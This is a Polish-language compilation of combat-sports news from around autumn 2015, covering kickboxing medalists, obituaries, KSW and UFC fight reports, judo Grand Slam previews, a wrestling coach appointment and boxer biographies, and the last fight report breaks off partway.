
KL +94 kg Michał Bławdziewicz (Polska) – Ehram Majidov (Azerbejdżan) wygr. Bławdziewicz 3-0
 

Złote medale:

K-1 Rules

K1 +70kg Paulina Bieć (KS Gym Fight Wrocław) data ur. 15.02.84
 

Low Kick

LK -56kg Iwona Nieroda (Diament Pstrągowa) 23.05.90

LK -60kg Marta Waliczek (Beskid Dragon Bielsko-Biała) 11.07.87
 

Kick Light

KL -55kg Dorota Godzina (X Fight Piaseczno) 06.02.85

KL -60 kg Paulina Jarzmik (X Fight Piaseczno) 02.07.94

KL -89kg Mateusz Jereczek (Kartuski Klub Kick-boxingu Rebelia) 23.09.92

KL -94kg Piotr Wypchał (Krakowska Akademia Taekwondo) 18.03.80

KL +94 kg Michał Bławdziewicz (Palestra Warszawa) 14.06.93
 

Srebrne medale:

K-1 Rules

K1 -57 kg Paweł Stępniewski (Palestra Warszawa) 18.03.92

K1 -81 kg Arkadiusz Kaszuba (Rzeszowski Klub Sportów Walki) 26.07.94
 

Kick Light

KL -74 kg Jerzy Wroński (Palestra Warszawa) 15.02.81

KL -79kg Wojciech Wiśniewski (Zamek Expom Kurzętnik) 24.01.82
 

Brązowe medale:

K-1 Rules

K-1 -56 kg Małgorzata Dymus (Fighter Wrocław) 24.10.91

K-1 -71 kg Marcin Kret (UKS Puncher Wrocław) 05.07.92

K-1 -86 kg Dawid Kasperski (UKS Puncher Wrocław), 07.07.90
 

Low Kick

LK -48 kg Joanna Walkiewicz (SKKB Kielce) 04.07.89

LK -65 kg Katarzyna Jaworska (PACO Katowice) 05.08.91

LK -70 kg Kamila Bałanda (Champion Gdańsk) 12.09.84

LK -63,5 kg Jan Lodzik (Tajfun Legionowo) 09.02.1995
 

Kick Light

KL -50 kg Anna Knobel (Beniaminek 03 Stargard Gdański) 14.03.90

KL -65 kg Monika Kędzierska (CSE Sparta Chrzanów) 09.12.89

KL -70 kg Agnieszka Wiśniewska (X Fight Piaseczno) 01.09.89

Pamięć nigdy nie ustanie

Wszystkich Świętych to dzień szczególny. Dzień pamięci, która trwa i w tym dniu w sposób szczególny otaczana jest troską oraz estymą. 1 listopada pozwala zatrzymać się na chwilę i podjąć refleksję nad naszym ziemskim losem.

Przemierzamy kolejne kilometry, załatwiamy sprawy, realizujemy cele, ale czas umyka nam między palcami. Zatrzymujemy się w przypadku informacji o śmierci kogoś bliskiego. Podejmujemy refleksję i analizujemy otaczającą nas rzeczywistość. Uświadamiamy sobie, że los może zmienić się w ciągu jednej chwili.

W roku 2015 w sportach walki żegnaliśmy wybitne i zasłużone postaci, ale także tych, którzy byli u progu swoich karier. Śmierć nie zadaje pytań. Przychodzi i pogodzenie się z nią dla wielu jest bolesne, trudne. Dlatego też w tym dniu pamiętajmy o tych wszystkich, których znaliśmy i ceniliśmy, a przy okazji dokonajmy czysto ludzkiej refleksji. Wszystkich Świętych to okazja do uświadomienia sobie, że nie odszedł ten, kto nadal jest w naszych sercach. Najsilniejsza jest pamięć i to ona musi trwać. Oddajmy cześć tym, których już z nami nie ma.

We wrześniu pożegnaliśmy wielkiego mistrza kickboxingu. Józef Warchoł odszedł niespodziewanie. Zbyt wcześnie – miał zaledwie 51 lat. Warchoł był wielokrotnym mistrzem świata i Europy. Po zakończeniu kariery zawodniczej poświęcił się pracy szkoleniowej. W ringu twardy i nieustępliwy. Nigdy się nie poddawał, zawsze szedł do przodu i mocnymi ciosami odprawiał kolejnych rywali.

Bogusław Klejn odszedł od nas w czerwcu. Wielokrotny mistrz Polski w zapasach, reprezentant kraju w stylu klasycznym i wolnym miał 79 lat. Piotr Grabowski otrzymał wiele wyróżnień Polskiego Związku Zapaśniczego. Całe życie poświęcił zapasom. Najpierw jako zawodnik, który sięgał po tytuły mistrzowskie, a następnie jako wychowawca kolejnych pokoleń zapaśników. Odszedł w sierpniu w wieku 74 lat.

22 lutego 2015 roku zmarł jeden z ojców judo w Polsce. Tadeusz Kochanowski był współtwórcą i pierwszym prezesem Polskiego Związku Judo. Od lat 50. XX wieku wprowadzał judo i upowszechniał je, aby z czasem nadać dyscyplinie sportową formę. Wykładowca Akademii Wychowania Fizycznego w Warszawie, autor wielu programów i mentor kadr instruktorskich judo. Kochanowski zmarł w wieku 88 lat.

W wieku 71 lat zmarł Wiesław Hałaburda. Wybitny trener judo, który pracował w Gryfie Słupsk. Poprowadził do wielkich sukcesów m.in. Bogusławę Olechnowicz. Hitoshi Saito odszedł zbyt wcześnie. Dwukrotny mistrz olimpijski w judo w kategorii +95kg zmarł w wieku 54 lat. Od 2013 roku Japończyk zmagał się z nowotworem pęcherzyka żółciowego.

W sierpniu otrzymaliśmy informację o śmierci zaledwie 28-letniego Ariela Krasnopolskiego. Przez wielu pięściarz został zapamiętany z walki z Krzysztofem Cieślakiem, którego to w 2013 roku w pierwszej rundzie posłał na deski. Krasnopolski na zawodowym ringu stoczył pięć walk. W lutym świat dowiedział się o śmierci Oscara Diaza. Pięściarz przez wielu uznawany był za czołową postać wagi półśredniej, ale wszystko zmieniło się w 2008 roku. Kariera Amerykanina została przerwana. W pojedynku z Delvinem Rodriguezem Diaz został znokautowany i stracił przytomność. Przez dwa miesiące pozostawał w śpiączce. W wyniku ciosów doznał obrzęku mózgu. Po wyjściu ze szpitala przechodził rehabilitację, aby dojść do pełnej sprawności. Walczył, ale w lutym opuścił bokserski świat w wieku 32 lat.

Davey Browne Jr. z ringu trafił do szpitala. W walce z Carlo Magalim doznał poważnych obrażeń mózgu. Australijczyk przebywał w śpiączce, jednak jego stan był ciężki. Rodzina podjęła decyzję o wyłączeniu aparatury podtrzymującej życie. Browne zmarł we wrześniu w wieku 28 lat.

16 października, w dniu swoich urodzin, zmarł Bogdan Chruścicki. Wybitny dziennikarz sportowy, który swoją uwagę poświęcał również zapasom. Ogromne doświadczenie i wiedza pozwalały swobodnie poruszać się redaktorowi Chruścickiemu w meandrach sportu. Porywał serca widzów. Zmarł w wieku 69 lat. W 2015 roku odszedł również kolejny guru dziennikarstwa sportowego. Postać wybitna, mistrz słowa i budowania napięcia, gentelman. Po prostu Bodhan Tomaszewski. Wybitnego sprawozdawcę pożegnaliśmy 27 lutego. Tomaszewski miał 93 lata.

Pamiętamy również o wielu innych wybitnych postaciach świata sportów walki. Cały czas brakuje nam świetnego komentarza Jerzego Kuleja, którego nie ma z nami już trzy lata. Wybitny bokser, wspaniały analityk, mistrz olimpijski z Tokio i Meksyku. W 2012 roku zmarł Mike Bernardo. Wielki kickbokser, który próbował swoich sił w boksie. Mistrz formuły K-1. W 2010 roku odszedł Antonius Johannes Geesink. Potężny Holender dwukrotnie sięgnął po tytuł mistrza świata w judo, dostąpił również nadania 10 stopnia Dan. W naszych serca trwa i będzie trwać pamięć o Zbigniewie Pietrzykowskim. Wybitny bokser, medalista olimpijski zmarł w 2014 roku w wieku 79 lat.

Pamiętamy i pamiętać będziemy. Wybitne postaci sportów walki, wielcy mistrzowie, profesjonaliści, a przede wszystkim wspaniali ludzie, przyjaciele, koledzy, za którymi najzwyczajniej w świecie tęsknimy. 1 listopada będziemy ich wspominać, a ich miejsce jest w naszych sercach. Bo pamięć musi trwać.

KM 

KSW podbiło Londyn

Emocjonujące walki, efektowne nokauty, triumfy polskich fighterów. Gala KSW 32 w Londynie to pojedynki na najwyższym poziomie. Polska organizacja pokazała wysoki poziom sportowy, co jest dobrą wizytówką dla naszego MMA.

Czy KSW podbije Londyn? To pytanie powtarzano jak mantrę w związku z galą polskiej organizacji w stolicy Anglii. Widzowie, którzy zdecydowali się obejrzeć galę na Wembley, nie mogli narzekać na nudę.

Borys trzyma poziom, „Pudzian” nie dał rady

Borys Mańkowski udowodnił, że stale rozwija się i jego umiejętności predysponują go do występów na najwyższym poziomie. Jesse Taylor od początku chciał zdominować Polaka. „Diabeł Tasmański” stawiał opór Amerykaninowi, jednak ten sprowadził walkę do parteru i uderzał naszego zawodnika łokciami. Mistrz wagi półśredniej skutecznie bronił się, jednak stracił punkt. W parterze uderzył swojego rywala kolanem. Po chwili było już po sprawie. Walkę wznowiono i Mańkowski ruszył z impetem na Amerykanina. „Diabeł Tasmański” sprowadził pojedynek do parteru i wypracował sobie komfortową pozycję. Zastosował duszenie zza pleców, które dało mu zwycięstwo po trzech minutach rywalizacji.

W walce wieczoru zaprezentował się Mariusz Pudzianowski, który miał zjeść grahamkę, czyli Petera Grahama. Doświadczony Australijczyk utarł Polakowi nosa. „Pudzian” od początku ruszył na rywala i zaczął go rozbijać. W parterze miał korzystniejszą pozycję, Graham przyjmował kolejne ciosy. Druga runda to popis Australijczyka, który pokazał Polakowi, że ma większe doświadczenie w MMA i lepiej zna się na tym fachu. Graham nie miał litości dla Pudzianowskiego, który był bezsilny. 40-latek z Sydney w parterze postawił kropkę nad „i”.

Dziesiąte zwycięstwo na swoim koncie zapisał Mateusz Gamrot. Poznaniak może śmiało myśleć o walce o pas wagi lekkiej. Gamrot stanął przed trudnym zadaniem w Londynie. Jego rywalem był Marif Piraev, który wysoko zawiesił poprzeczkę Polakowi. Gamrot szybko sprowadził rywala, ale ten zaprezentował swój bogaty warsztat i próbował rozstrzygnąć walkę przez gilotynę, jednak Poznaniak cało wyszedł z opresji. Druga runda należała do Gamrota. Od początku niemiłosiernie obijał rywala, jednak ten nadal nie tracił sił. W końcu „Gamer” znalazł receptę na rywala. Techniczny nokaut zakończył rywalizację.

Kolejna porażka „Różala”

Ciężkie chwile w Londynie przeżył Marcin Różalski. Popularny „Różal” zanotował drugą porażkę z rzędu. James McSweeney był aktywny i efektowny. Różalski poszedł na wymianę, starał się zaskoczyć swojego rywala, jednak ten torpedował zapędy Polaka. W końcu znalazł sposób na fightera z Płocka. McSweeney wygrał przez duszenie zza pleców.

W Londynie przegrał również Rafał Moks. Jim Wallhead udanie zadebiutował w KSW, jednak pojedynek walki na to nie wskazywał. W pierwszej rundzie nic się nie działo. Druga odsłona również rozpoczęła się spokojnie, jednak w końcu Wallhead wypalił kombinację ciosów i było po sprawie. Zdyskwalifikowany został Michał Włodarek, który uderzył swojego rywala w sposób nieprzepisowy. Z wygranej mógł zatem cieszyć się Oli Thompson.

Radości nie krył również Tomasz Narkun. Goran Reljic przystępował do pojedynku z Polakiem jako mistrz KSW wagi półciężkiej. Chorwat nie miał czasu, aby pokazać swoje umiejętności. Narkun nie zamierzał czekać i szybko rozpoczął marsz po pas. Zawodnik z Bałkanów poznał siłę Polaka, który po dwóch minutach zaserwował swojemu rywalowi nokaut.

Niespełna minuty potrzebował Maiquel Falcao, aby uporać się z Brettem Cooperem. Brazylijczyk od początku z determinacją ruszył na swojego rywala. W stronę Coopera leciały kolejne ciosy, a po prawym sierpowym Amerykanin nie był w stanie kontynuować walki. Leszek Krakowski na punkty pokonał Andre Winnera. Pierwszy pojedynek londyńskiej gali był spokojny, a w zasadzie nudny i nie zapowiadał emocji.

Napięcie rosło z czasem. Wiele osób zastanawiało się, czy KSW zda egzamin w Londynie. Pojedynki były efektowne, nie brakowało nokautów. KSW dało w Londynie popis. Działo się. „Pudzian” nie zjadł grahamki, ale za to Narkun wraca do Polski z pasem.

KM

Bojowy Wach

Czy to będzie powrót na szczyt? Już 4 listopada w Kazaniu Mariusz Wach zmierzy się z Aleksandrem Powietkinem. Pojedynek odbędzie się w dość nietypowy, jak na galę bokserską, dzień. 

Środa. Wtedy Mariusz Wach będzie mógł pokazać, czy stać go jeszcze na rywalizację na najwyższym poziomie. Powietkin to wymagający rywal i nadal czołowa postać wagi ciężkiej.

Prawdziwy test

Wreszcie nadszedł czas, aby Wach sprawdził swoje możliwości. Po pojedynku z Władimirem Kliczko popularny „Viking” został zdyskwalifikowany za stosowanie niedozwolonych środków i na powrót na ring czekał prawie dwie lata. Wielu obserwatorów zastanawiało się, czy Wacha stać na wielki boks. Część prognozowała, że będzie raczej boksował do kotleta, aby dotrwać do emerytury. O powrocie na szczyt mówiło niewielu.

Jednak sam Wach chciał spróbować swoich sił. Ma ogromne wsparcie ze strony swojego teamu. Najpierw potrzebował czasu na powrót do regularnego boksowania. Dlatego też Wachowi serwowano rywali, przy których mógł wrócić na właściwe tory. Nie byli to wirtuozi ani wybitne postaci boksu. Rywale byli dobierani na miarę potrzeb Wacha, bo o tej w danej chwili chodziło. Samir Kurtagic jakby uszyty na miarę wszedł do ringu i spełnił oczekiwania. No, widowisko nie było porywające, a sam Wach potwornie zmęczony ośmiorundowym wysiłkiem. Travisa Walkera „Viking” położył już w szóstej rundzie. Polaka nieco przestraszył Gbenga Oluokun, który miał być chłopcem do bicia, ale momentami pokazał dobry boks. Ostatecznie Wach wygrał, tak samo jak w przypadku starcia z Konstantinem Airichem. Teraz przyszedł czas na prawdziwy test.

Aleksander Powietkin to doświadczony pięściarz, były mistrz świata WBA. W 2013 roku przegrał walkę życia, kiedy to musiał uznać wyższość Władimira Kliczki. Od tej pory stoczył trzy zwycięskie walki. Nadal celuje w mistrzowskie pasy.

Walka z podtekstami

Pojedynki polsko-rosyjskie zawsze rodzą ogromne emocje. Liczne podteksty, analogie historyczne. Nie inaczej jest tym razem. Środa to dość nietypowy dzień na bokserską walkę, ale czwarty dzień listopada obfituje w interesujące wydarzenia.

Od 2005 4 listopada jest świętem narodowym w Rosji. Dodatkowo od lat obchodzi się w tym dniu święto obrazu Matki Boskiej Kazańskiej, której pomoc była nieoceniona w wypędzeniu Polaków z Kremla w 1612 roku. Wygrana Powietkina dla wielu byłaby doskonałym prezentem. Często na walkach rosyjskiego zawodnika pojawia się prezydent Czeczenii Ramzan Kadyrow, a na treningach judo sam Władimir Putin.

Przed zwycięzcą otworzą się wrota do walki z mistrzem świata WBC Deontayem Wilderem. Wydaje się, że faworytem jest Powietkin, gdyż trudno określić możliwości Wacha. Polak dawno nie rywalizował z tak klasowym bokserem. Czy w Kazaniu odrodzi się?

Pewne jest, że zakończy się jego umowa z Mariuszem Kołodziejem i Jimmym Burchfieldem Sr.. „Viking” nie dogadywał się najlepiej z promotorami. Rozstanie będzie dla niego kosztowne. Całe honorarium za pojedynek z Powietkinem przejmą byli już współpracownicy Wacha.

KM

Kadra jedzie do Abu Zabi, a Kuczera wraca

Piotr Kuczera wywalczył brązowy medal w kategorii 90kg na mistrzostwach świata juniorów i juniorek w Abu Zabi. Młody Polak z radością może wrócić do kraju. W odwrotnym kierunku zmierza dziewięcioro naszych reprezentantów, którzy w najbliższy weekend wezmą udział w zawodach Grand Slam.

W październiku Abu Zabi zostanie w pełni doświadczone przez judo. Najpierw mistrzostwa świata juniorów i juniorek, a teraz zawody Grand Slam. Z pierwszej imprezy Polacy przywieźli brązowy medal. Jak będzie w drugim przypadku?

Walka o punkty

Piotr Kuczera w Abu Zabi walczył o medal. Ostateczny efekt jest jak najbardziej pozytywny. Polak startujący w kategorii 90kg stanął na trzecim miejscu podium. Kuczera stoczył dwie zwycięskie walki i w ćwierćfinale trafił na Mikhaila Igolnikova. Rosjanin okazał się wymagającym rywalem i odniósł triumf, ale w półfinale poległ w starciu z Nikolozem Sherazadishvilim. Ostatecznie Igolnikov zajął piąte miejsce, a Kuczera mógł cieszyć się z medalu. Polak w decydującym starciu przez ippon pokonał Niemca Davida Tekicia. W kategorii 90kg z dobrej strony pokazał się również Rafał Kozłowski, który zajął siódme miejsce.

O punkty w olimpijskim wyścigu powalczą nasi seniorzy. Do Abu Zabi uda się dziewięcioro naszych reprezentantów. Swoich sił w zawodach Grand Slam spróbują: Karolina Pieńkowska (52 kg), Arleta Podolak (57 kg), Katarzyna Kłys (70 kg) i Katarzyna Furmanek (+78 kg) oraz Aleksander Beta (66 kg), Łukasz Błach, Jakub Kubieniec (obaj 81 kg), Patryk Ciechomski (90 kg) i Maciej Sarnacki (+100 kg).

W Abu Zabi zabraknie Agaty Ozdoby (63kg) oraz Darii Pogorzelec (78kg). Srebrne medalistki mistrzostw świata w Astanie w drużynie na obecną chwilę mają zapewniony udział w Igrzyskach Olimpijskich, jednak nie wiadomo, czy do Rio de Janeiro pojadą. Obie odniosły poważne kontuzje, które uniemożliwiają im rywalizację i pod znakiem zapytania stawiają wyjazd na igrzyska.

Pewna Kłys

Z zawodników, którzy zaprezentują się w Abu Zabi pewną kwalifikację do Rio ma Katarzyna Kłys w kategorii 70kg. Jednak ostatni start zawodniczki Polonii Rybnik był bezowocny. Podczas Grand Slam w Paryżu Polka stoczyła zaledwie jedną walkę. Za to wcześniej udało jej się odnieść sukces. Kłys zajęła trzecie miejsce podczas Grand Prix w Taszkiencie.

Bilet w ręku do Rio ściska również Maciej Sarnacki (+100kg). Polak prezentuje stabilną formę, ale nie zachwyca. W marcu podczas Pucharu Świata w Warszawie odniósł zwycięstwo i takiego wyniku już nie powtórzył. Swojej szansy cały czas szuka Łukasz Błach (81kg). Z nadziejami do Abu Zabi jedzie Aleksander Beta (66kg), który w poprzednim sezonie pokazywał, że stać go na wiele.

A w Abu Zabi znacząco można poprawić swój dorobek. Triumfator zgarnie 500 punktów do rankingu, a drugi zawodnik wzbogaci konto o 300 punktów. Jakie można odnieść korzyści finansowe? Zwycięstwo warte jest 5 tys. dolarów, przegrany w finale zarobi 3 tys. Brązowy medalista może liczyć na 1,5 tys.

KM

Grand Slam w Abu Dhabi z mocnym polskim składem.

W tym tygodniu stolicą światowego judo będzie Abu Dhabi. Zakończyły się już udane dla Polaków Mistrzostwa Świata Juniorów, a od piątku do niedzieli odbywać się tam będzie prestiżowy turniej Grand Slam. Transmisje codziennie od godziny 14:00 w telewizji FightKlub.
 
W Zjednoczonych Emiratach Arabskich wystąpi 9-osobowa reprezentacja Polski. W składzie są aż cztery Wicemistrzynie Świata z Astany w drużynie Karolina Pieńkowska (-52 kg), Arleta Podolak (-57 kg), Katarzyna Kłys (-70 kg), Katarzyna Furmanek ( 78 kg). Z kadry męskiej walczyć będą Jakub Kubieniec (-81 kg), Łukasz Błach (-81 kg), Patryk Ciechomski (-90 kg), Maciej Sarnacki ( 100 kg).
 
Rok temu biało-czerwoni znakomicie spisali się w Abu Dhabi, zdobywając 3 brązowe medale. Na podium stali wówczas Katarzyna Kłys i Maciej Sarnacki oraz Agata Ozdoba (-63 kg), która niedawno – podobnie jak Daria Pogorzelec (-78 kg) – doznała ciężkiej kontuzji kolana i w tym roku już nie wystąpi.
 
Kilka dni temu brąz do kolekcji dołożył startujący w Mistrzostwach Świata Juniorów Piotr Kuczera (-90 kg). Z pewnością niebawem tego utalentowanego zawodnika, Mistrza Polski Seniorów, zobaczymy również w zawodach rangi Grand Prix i Grand Slam, które transmitujemy w FightKlubie.
 
Grand Slam w ZEA ma znakomitą obsadę, na liście zgłoszeń jest ponad 500 zawodniczek i zawodników z 92 krajów. Bardzo silny skład, z trzema Mistrzami Olimpijskimi z Londynu, awizowali np. Rosjanie. Gospodarze wystawiają 14 judoków, w tym 5 urodzonych w Mołdawii.

""

Hard Knocks Fighting w poniedziałki i środy o 22:00

Program poświęcony jest galom Hard Knocks Fighting – jednej z najprężniej działających federacji MMA w Ameryce Północnej. Założona została w 2009 roku, do dziś zorganizowała ponad czterdzieści widowiskowych gal. To pod jej skrzydłami swoje pierwsze zawodowe szlify zdobywała Ronda Rousey, była medalista igrzysk olimpijskich w judo, a obecnie jedna z najlepszych specjalistek mieszanych sztuk walki na świecie. Hard Knocks Fighting przyznaje pasy w siedmiu kategoriach wagowych, w tym momencie ich posiadaczami są: Misha Cirkunov, Brent Auger, Sergej Juskevic, Chris Anderson, Jason Fischer, Nick Burnham i Justin Basra.

Na premierowe emisje programu zapraszamy do FightKlubu w każdy poniedziałek i środę na godzinę 22:00.

źródło: informacja prasowa

Maksymiuk trenerem kadry

Polski Związek Zapaśniczy rozstrzygnął konkurs na stanowisko trenera reprezentacji Polski klasyków. Nowym szkoleniowcem kadry został Andrzej Maksymiuk.

Przypomnijmy. Po nieudanych mistrzostwach świata w zapasach w Las Vegas, gdzie nasi klasycy nie wywalczyli ani jednej kwalifikacji olimpijskiej ze stanowiskiem szkoleniowca kadry pożegnał się Ryszard Wolny. Polski Związek Zapaśniczy ogłosił konkurs na nowego trenera. W postępowaniu zgłoszono trzy kandydatury.

Wybrali Polaka

Do PZZ wpłynęły trzy oferty: Andrzeja Maksymiuka, Białorusina Waleryego Cylenca oraz Ukraińca Maksyma Czepurko. Działacze związkowi musieli pochylić się nad wszystkimi kandydaturami, aby wyłonić najlepszą. Jakie kryteria były najważniejsze? Przede wszystkim liczyło się doświadczenie oraz przygotowanie właściwej koncepcji pracy.

Cylenc jakby sam wykluczył się z rywalizacji o stanowisko szkoleniowca. Białorusin nie przygotował swojej wizji pracy z kadrą. W przypadku Czepurko uznano, że ma zbyt małe doświadczenie. Z kolei Andrzej Maksymiuk swoją przygodę z zapasami rozpoczął w 1980 roku, a pierwsze kroki w pracy szkoleniowiej podjął w 2000 roku.

Pierwszy znaczący sukces Maksymiuk odniósł w 1987 roku, kiedy to sięgnął po srebrny medal mistrzostw świata juniorów w kategorii 52kg. Trenował w Śląsku Wrocław pod okiem Jerzego Adamka. Był członkiem kadry narodowej, w 1990 roku wziął udział w mistrzostwach Europy. Karierę trenerską również związał ze Śląskiem Wrocław. Zaczynał jako asystent Jerzego Adamka, u boku którego zbierał wiedzę i cenne uwagi. Maksymiuk dał się poznać jako trener, który potrafi dobrze przygotować swoich zawodników do startów na najwyższym poziomie. Nowy trener kadry może zapisać na swoje konto udział w zdobyciu brązowego medalu Igrzysk Olimpijskich w Londynie przez Damiana Janikowskiego czy mistrzostwo Europy Artura Michalkiewicza.

Jakie cele?

Oficjalnie swoje obowiązki Maksymiuk zacznie pełnić 1 listopada. Kontrakt nowego trenera kadry klasyków będzie obowiązywał do 30 września 2017 roku. Szkoleniowiec będzie miał ręce pełne roboty. Z pewnością jego sprzymierzeńcem nie będzie czas. 

Głównym celem Maksymiuka jest wywalczenie kwalifikacji olimpijskich do Igrzysk w Rio de Janeiro. Trener Wolny poległ, gdyż w Las Vegas kadra wypadła blado. O krok od uzyskania biletu do Rio był Damian Janikowski, który zajął siódmą lokatę. Teraz walka rozpoczyna się jakby od nowa. Tyle, że czas ucieka. Maksymiuk musi przystąpić do pracy i zmotywować swoich zawodników, wlać w ich serca nadzieję i przedstawić wizję. Pierwszym poważnym sprawdzianem jego pracy będą mistrzostwa Europy w Zerjaninie, które odbędą się w kwietniu. Tam gra będzie toczyła się o prym na Starym Kontynencie oraz awans na igrzyska. 

Do startu Igrzysk Olimpijskich w Rio de Janeiro pozostało dziewięć miesięcy. Trzeba ten czas przepracować jak najbardziej owocnie, aby zaprezentować się na brazylijskich arenach.

KM

Marco Huck

Niemiecki bokser pochodzenia boszniackiego urodzony 11 listopada 1984 roku w Ugao.  W młodości trenował kickboxing. Był amatorskim mistrzem Europy (2002) i Świata (2003) WAKO  w formule full contact. Karierę bokserską rozpoczął w listopadzie 2004 roku. W grudniu 2006, w swoim siedemnastym pojedynku zdobył tytuł zawodowego mistrza Unii Europejskiej w kategorii junior ciężkiej, pokonując Pietro Aurino. W styczniu 2007 roku Huck obronił swój tytuł, pokonując na punkty Ismaila Abdoula. 26 maja tego samego roku w pojedynku eliminacyjnym IBF pokonał decyzją większości sędziów na punkty Wadima Tokariewa. 29 grudnia 2007 zmierzył się ze Steve’em Cunninghamem. Stawką pojedynku był tytuł mistrza Świata IBF, będący w posiadaniu Amerykanina. Po zaciętym pojedynku wygrał Cunningham przez techniczny nokaut w ostatniej rundzie, po tym jak trener Niemca poddał go rzucając ręcznik na ring. W kwietniu i maju 2008 Huck pokonał przed czasem dwóch słabszych pięściarzy, a następnie 20 września tego samego roku zdobył tytuł zawodowego mistrza Europy w kategorii junior ciężkiej, pokonując przez techniczny nokaut Jeana Marca Monrose’a. Tytuł ten obronił trzykrotnie: w październiku 2008 pokonał już w drugiej rundzie Fabio Tuiacha, w styczniu następnego roku zwyciężył przez techniczny nokaut w trzeciej rundzie Geoffreya Battelo, a niecałe pięć miesięcy później, także przez techniczny nokaut, tym razem w piątej rundzie, pokonał Witalija Rusala. 29 sierpnia 2009 zmierzył się z Victorem Emilio Ramirezem, ówczesnym mistrzem świata federacji WBO. Stawką pojedynku był pas mistrzowski WBO. Huck po bardzo zaciętym pojedynku wygrał jednogłośnie na punkty. 5 grudnia tego samego roku w pierwszej obronie tytułu pokonał jednogłośnie na punkty Ola Afolabiego. 13 marca 2010 znokautował w trzeciej rundzie Adama Richardsa. 1 maja 2010 pokonał przez techniczny nokaut w dziewiątej rundzie Briana Minto. 14 lipca Huck został uhonorowany diamentowym pierścieniem za pięć kolejnych obron pasa mistrzowskiego, a trzy dni później po raz siódmy skutecznie obronił pas, nokautując Hugo Garaya. 25 lutego 2012 przeszedł do kategorii ciężkiej, by zmierzyć się z mistrzem federacji WBA Aleksandrem Powietkinem, któremu uległ decyzją sędziów dwa do remisu. 14 sierpnia 2015 roku w Newark stracił tytuł na rzecz Krzysztofa Głowackiego, przegrywając walkę w obronie mistrzostwa świata WBO przez nokaut w jedenastej rundzie. 

Ewa Piątkowska

Polska pięściarka zawodowa wagi superlekkiej urodzona 16 września 1984 roku w Radomiu. Jest absolwentką prywatnej Polsko-Japońskiej Wyższej Szkoły Technik Komputerowych w Warszawie. Wcześniej uprawiała koszykówkę, piłkę nożną i rugby. Boks zaczęła uprawiać w wieku 22 lat. W 2007 roku zdobyła mistrzostwo Śląska, a w 2008 roku wicemistrzostwo Polski. Jest ćwierćfinalistką mistrzostw Świata z 2008 roku w Ningbo w Chinach oraz mistrzostw Europy z 2009 roku w Mikołajowie na Ukrainie.  16 lutego 2013 zadebiutowała na zawodowym ringu na gali w Pionkach. Pokonała w pierwszej rundzie przez techniczny nokaut reprezentantkę Bośni i Hercegowiny Maję Jahić. 31 sierpnia 2013 roku rywalką Polki była Czeszka Pavla Votavova. Piątkowska wygrała przez nokaut w pierwszej rundzie.  W styczniu 2014 roku Ewa Piątkowska podpisała kontrakt z grupą promotorską KnockOut Promotions i rozpoczęła prace z trenerem Fiodorem Łapinem. 15 marca 2014 na gali w hotelu Arłamów w Arłamowie znokautowała w pierwszej rundzie Słowaczkę Dasę Gaborovą. 31 maja na gali w Lublinie pokonała jednogłośnie na punkty w czterorundowym pojedynku Klaudię Szymczak.  18 października 2014 roku w Nowym Dworze Mazowieckim Piątkowska pokonała przez techniczny nokaut Węgierkę Zsofię Bedo.  31 stycznia 2015 roku na gali Wojak Boxing Night w Toruniu w szóstej kolejnej walce z byłą mistrzynią Europy Belgijką Sabriną Giuliani, wygrała jednogłośnie na punkty w ośmiorundowym pojedynku.  10 kwietnia 2015 na gali w Gliwicach zmierzyła się w pojedynku o wakujący pas WBC Silver z Kenijką Jane Kavulani. Po dziesięciu rundach wygrała jednogłośnie na punkty, zdobywając pierwszy tytuł w karierze. 26 września 2015 roku doznała swojej pierwszej porażki w zawodowej karierze. W starciu z Ewą Brodnicką, Ewa Piątkowska przegrała jednogłośną decyzją sędziów.

Karolina Michalczuk

Polska bokserka urodzona 6 grudnia 1979 roku w Brzezicach. W 2006 roku na mistrzostwach Świata w New Delhi, Michalczuk zdobyła srebrny medal. Dwa lata później w Ningbo zdobyła złoty medal w mistrzostwach Świata w boksie amatorskim. To pierwszy złoty medal w historii dotychczasowych startów reprezentantek Polski w Mistrzostwach Świata.  W 2010 roku w Bridgetown nie zdołała obronić tytułu mistrzyni świata i zdobyła brązowy medal, podobnie jak w 2012 roku w Qinhuangdao.  Karolina jest mistrzynią Europy z Tonsberg (2005) i Mikołajowa (2009), zdobywczyni brązowych medali w Vejle (2007) i Rotterdamie (2011). Startuje w kategoriach wagowych do 54 kg i do 51 kg. Uczestniczka Igrzysk Olimpijskich w 2012 roku. W pierwszej walce w kategorii wagowej do 51 kg przegrała z indyjską zawodniczką Mary Kom i nie awansowała do ćwierćfinału.

Jotko zwycięża po przerwie

Na tę walkę Krzysztof Jotko czekał rok. W końcu wrócił do oktagonu i stoczył swój czwarty pojedynek w UFC. Wygrał po raz trzeci.

Polak podczas gali UFC Fight Night 76 w Dublinie spotkał się z Scottem Askhamem. Jotko pokazał, że jest twardym fighterem i ciągle liczy się w wadze średniej.

Wyrównany bój

Miał zaprezentować się podczas gali UFC w Krakowie, jednak kontuzja pokrzyżowała jego plany. Krzysztof Jotko podczas przygotowań do występu na rodzimej ziemi złamał rękę. Polak musiał wycofać się z gali w Krakowie i chwilę odpocząć od MMA.

Gdy doszedł do pełni zdrowia mógł myśleć o kolejnym występie. Jotko ostatni raz w oktagonie zaprezentował się 4 października 2014 roku, gdy stoczył bój z Torem Troengiem. Polak mógł wznieść ręce w geście triumfu, ale na kolejny pojedynek przyszło czekać mu ponad rok. Wrócił i pokazał, że ma potencjał, aby godnie reprezentować Polskę w najlepszej organizacji mieszanych sztuk walki na świecie.

Gali towarzyszyła wyjątkowa atmosfera. Kibice stworzyli wspaniałe widowisko, więc fighterom nie pozostało nic innego jak dostosować się do poziomu. Jotko chciał się pokazać z jak najlepszej strony i mocno rozpoczął pojedynek. Polak był aktywny, nie szczędził rywalowi ciosów. W parterze konsekwentnie rozbijał twarz Anglika i wydawało się, że Askham nie doczeka do końca walki. Druga runda to zmiana ról. Aktywniejszy był Askham, który zyskał w oczach sędziów. O wszystkim miała zadecydować trzecia runda. Obaj zawodnicy dali z siebie wszystko. Zmęczenie było widoczne, ale z drugiej strony chcieli walczyć i postawić kropkę nad „i”. Po ich twarzach spływała krew, jednak Jotko wydawał się ciut szybszy i bardziej agresywny.

